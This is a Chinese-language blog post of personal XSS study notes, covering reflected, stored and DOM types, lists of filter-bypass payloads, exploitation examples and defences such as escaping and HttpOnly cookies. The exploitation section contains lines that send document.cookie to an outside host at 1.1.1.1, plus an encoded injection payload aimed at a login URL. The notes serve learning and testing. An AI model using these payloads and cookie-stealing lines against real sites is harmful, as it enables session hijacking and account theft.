关于xss攻击,网上相关的介绍很多,一搜索也是一大堆,这里我就对自己感兴趣的一些内容做个总结。

xss简单介绍

成因:xss是将恶意代码(多是JavaScript)插入html代码中。

分类:

1、 反射型

2、 存储型

3、 DOM型

1、 XSS的危害是这么?

攻击者构造可执行JavaScript的攻击链接,发送给受害者,多用于获取cookie,因为cookie可以使你伪装成受害者来登录。还可以定向到别的网站,下载病毒链接等等。

2、 DOM型xss、反射型xss和存储型xss的区别?

反射型xss是向链接传入参数时发生的,需要诱骗受害者点击。而存储型是存在服务器中的,比如发表的文章,供访问者浏览的信息等等,危害更大。

DOM型xss属于反射型xss的一种,只是不通过服务器,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。

因为DOM型比较难理解,所以找了一些链接有兴趣,可以在深入了解一下。

关于DOM型XSS漏洞的学习笔记

DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别?

基于 DOM 的第三类跨站脚本

3、 如何对网站进行测试?

如果弹窗成功,说明存在xss漏洞,下面是几种常见的跨站攻击方法。

<script>alert(document.cookie)</script>
闭合或注释之前的语句
"/><script>alert(document.cookie)</script><!--
--><script>alert(document.cookie)</script><!--

其他写法

"onclick="alert(document.cookie)
</dd><script>alert(/xss/)</script>
<script>alert(/liscker/);</script>
"><img%20src=1%20onerror=alert(1)>
<marquee/onstart="confirm`1`">
< a href=javascript:alert(1)>

反射型XSS Poc:

alert()函数过滤:

<script>alert('xss')</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

<script>标签过滤:

<a href="onclick=alert('xss')"> click</a>
123"><a/href=//www.baidu.com/>XssTest</a>
<img src=# onerror=alert('xss')></img>
<iframe onload=alert('xss')>

base64加密

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>

setTimeout

<svg/onload=setTimeout('ale'+'rt(1)',0)>

过滤双引号

<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

chrome

<img src ?itworksonchrome?\/onerror = alert(1)>

data形式

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed>
<script src=data:%26comma;alert(1)></script>

ontoggle

<details open ontoggle="alert('已是黄昏独自愁,一枝红杏出墙来')">

frame

<frame src="javascript:alert(1)">
<frame src="javascript:%20%0aalert%20%0d %09(1)">
<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />
2134'></textarea><script>alert(/xss/)</script><textarea>

url加密绕圆括号

<svg/onload=alert(1)>
<svg onload='JavascRipT:alert%281%29'>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

 XSS漏洞利用方式:

<script>window.location="http://www.baidu.com"</script>   重定向钓鱼
<script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script> 接受客户端cookie
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script>
http://login.xxx.com/sso/m/mobile-login.do?next_page=http://m.xxx.com&f=coursek12xss",}});setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vZHQzMDEuY29tLzAuanMnOw=='),0);({validate: {//

XSS变种

XSS变种的类型在于JavaScript能执行的位置有多少。

  1)confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。

"/><ScRiPt>confirm(9174)</ScRiPt>

  2)跳转链接

<a/href=//www.baidu.com/>XssTest</a>
<a href="javascript:alert(1)">x</a>

  3)img类型的xss

<img src='#' onerror='alert("XSS")' >
<img src='' onerror=alert(/poc/)>

  4)对于过滤<>

%27;alert%28/aa/%29;a=%27

  5)邮箱系统,存储型

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

  6)inframe框架执行JS

<iframe src="javascript:alert(1)"></iframe>

4、 如何防xss?

1) 对特殊字符进行转义

2) 直接将标签过滤掉

3) 对cookie设置httponly

之前一直不了解到底是干什么用的,我理解是限定对cookie的访问只能走http协议,而不能通过JavaScript获取到cookie。

关于如何设置httponly?

百度的(全) http://jingyan.baidu.com/article/5553fa82a8248c65a3393442.html

java的  http://zhenghaoju700.blog.163.com/blog/static/13585951820138267195385/

4) 对用户的输入内容做限制

可以用正则对出入格式进行匹配。

5) 对数据进行在编码处理

参考:

反射型XSS攻击

http://blog.163.com/biaoxiaoqun@126/blog/static/376791602014718103941487/

https://www.cnblogs.com/seeker01/p/7921186.html

关于xxs的一些利用案例

背景:后台对以下字符进行转义:<、>、’、”。

可以通过 u003cu003e来代替<>

实际案例:

后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。

理想情况:u003cimg src=1 onerror=alert(/xss/)u003e

实际情况:

document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

因为昵称被转义,u003c同样被转义了。

针对于此情况,可以利用半字节

[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

参考:新办法绕过xss过滤-让xss来的更猛烈些吧

==================================================================

余弦的主题---学习和记录大佬总结的经验。

出处:http://weibo.com/evilcos?is_hot=1#1497420192019

#姿势# XSS’OR -> CODZ -> VECTOR CODZ -> XSSMisc

新增XSS攻击向量:

<img/src==”x onerror=alert()//”>

<div/style==”x onclick=alert()//”>XSS’OR

<div style=behavior:url(“onclick=alert()//”>XSS’OR

<div style=x:x(“ onclick=alert()//”>XSS’OR

还有发散空间,用于绕过XSS过滤机制

里面的:

<script>`</div><div>`-alert(123)</script>

<script>`</div><div>`+alert(123)</script>

<script>`</div><div>`/alert(123)</script>

<script>`</div><div>`%alert(123)</script>

<script>`</div><div>`==alert(123)</script>

<script>`</div><div>`/=alert(123)</script> # Only Edge

<script>`</div><div>`*=alert(123)</script> # Only Edge

关键key是:

  1. 反单引号
  2. 加减乘除等运算符的利用

作用:

  拿来bypass找XSS

这个XSSMisc,列的基本都是找XSS漏洞常用的VECTOR(向量),这些VECTOR都是拿来做过滤的bypass尝试的

 <title><img src=”</title><img src=x onerror=alert(1)//”>

本质:<titile>这个标签的“解析高优先级”,很霸道的必须找到闭合</title>,找到了才肯罢休。利用这个特性,拆散src后面的双引号闭合,实现img onerror的执行

关于xss攻击学习的总结的更多相关文章

  1. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)

    上一篇我们了解了XSS攻击的原理,并且利用DVWA尝试了简单的XSS攻击,这一篇我们来实现更复杂的攻击,然后探讨防御机制和测试理念. 前面我们通过脚本注入让网页弹出了用户cookie信息,可以光弹窗是 ...

  2. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)

    XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...

  3. 前端Hack之XSS攻击个人学习笔记

    简单概述 **        此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

  4. XSS攻击-原理学习

    本文优先发布于简书https://www.jianshu.com/p/04e0f8971890 1.百度百科XSS,跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样 ...

  5. 安全学习笔记-web安全之XSS攻击

    web安全之XSS攻击 XSS 即跨站脚本攻击,是 OWASP TOP10 之一.它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所 ...

  6. 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击

    就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...

  7. 开启CSP网页安全政策防止XSS攻击

     一.简介 CSP是网页安全政策(Content Security Policy)的缩写.是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,(内容可以是指脚本.图片.sty ...

  8. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  9. 前端安全系列(一):如何防止XSS攻击?

    原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...

随机推荐

  1. Haproxy 安装初体验

    20180916 haproxy Haproxy简介 Haproxy是一款免费的.快速的和稳定的解决方案,提供HA和LB功能,同时对基于TCP的应用和HTTP的应用进行代理,对于流量很大的web站点来 ...

  2. redis服务意外停止

    本地windows的redis一直好的,今天突然项目报错无法连接,不得解 看了下日志, [4824] 04 Mar 11:15:45.714 # Accepting client connection ...

  3. 根据指定的key,将二维数组的value转换为string,适用于mysql的in查询

    function array_unique_join($arr,$param){ $utm_source_arr = array_unique(array_column($arr,$param)); ...

  4. SQLMAP UDF提权

    SQLMAP UDF提权      1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-s ...

  5. Dash VS Underscore

    Dash Dashes are recommended by Google over underscores (source). Dashes are more familiar to the end ...

  6. jQuery使用(五):DOM操作之插入和删除元素

    插入: insertBofore() before() insertAfter() after() appendTo() append() prependTo() prepen() 删除: remov ...

  7. 写入MySQL报错超出 max_allowed_packet 的问题

    写入MySQL报错超出 max_allowed_packet 的问题. MySQL会根据配置文件会限制server接受的数据包的大小.如果写入大数据时,因为默认的配置太小,插入和更新操作会因为 max ...

  8. 2018牛客网暑期ACM多校训练营(第三场)C Shuffle Cards(可持久化平衡树/splay)

    题意 牌面初始是1到n,进行m次洗牌,每次抽取一段放到最前面.求最后的序列. 分析 神操作!!!比赛时很绝望,splay技能尚未点亮,不知道怎么用. 殊不知,C++库里有rope神器,即块状链表. 基 ...

  9. HDU 1035(走迷宫 模拟)

    题意是给定初始位置在一个迷宫中按照要求前进,判断多少步能离开迷宫或者多少步会走入一个长达多少步的循环. 按要求模拟前进的位置,对每一步在 vis[ ] 数组中进行已走步数的记录,走出去或走到已走过的位 ...

  10. java位运算(&、|、 ~、>>、>>> 、 ^)

    1.& 与 数字按位进行与运算 101101 110111 100101 2.| 或 数字按位进行或运算 3.~ 非 数字按位取反 4.>> 右移 数字按位进行右移 正数右移高位补 ...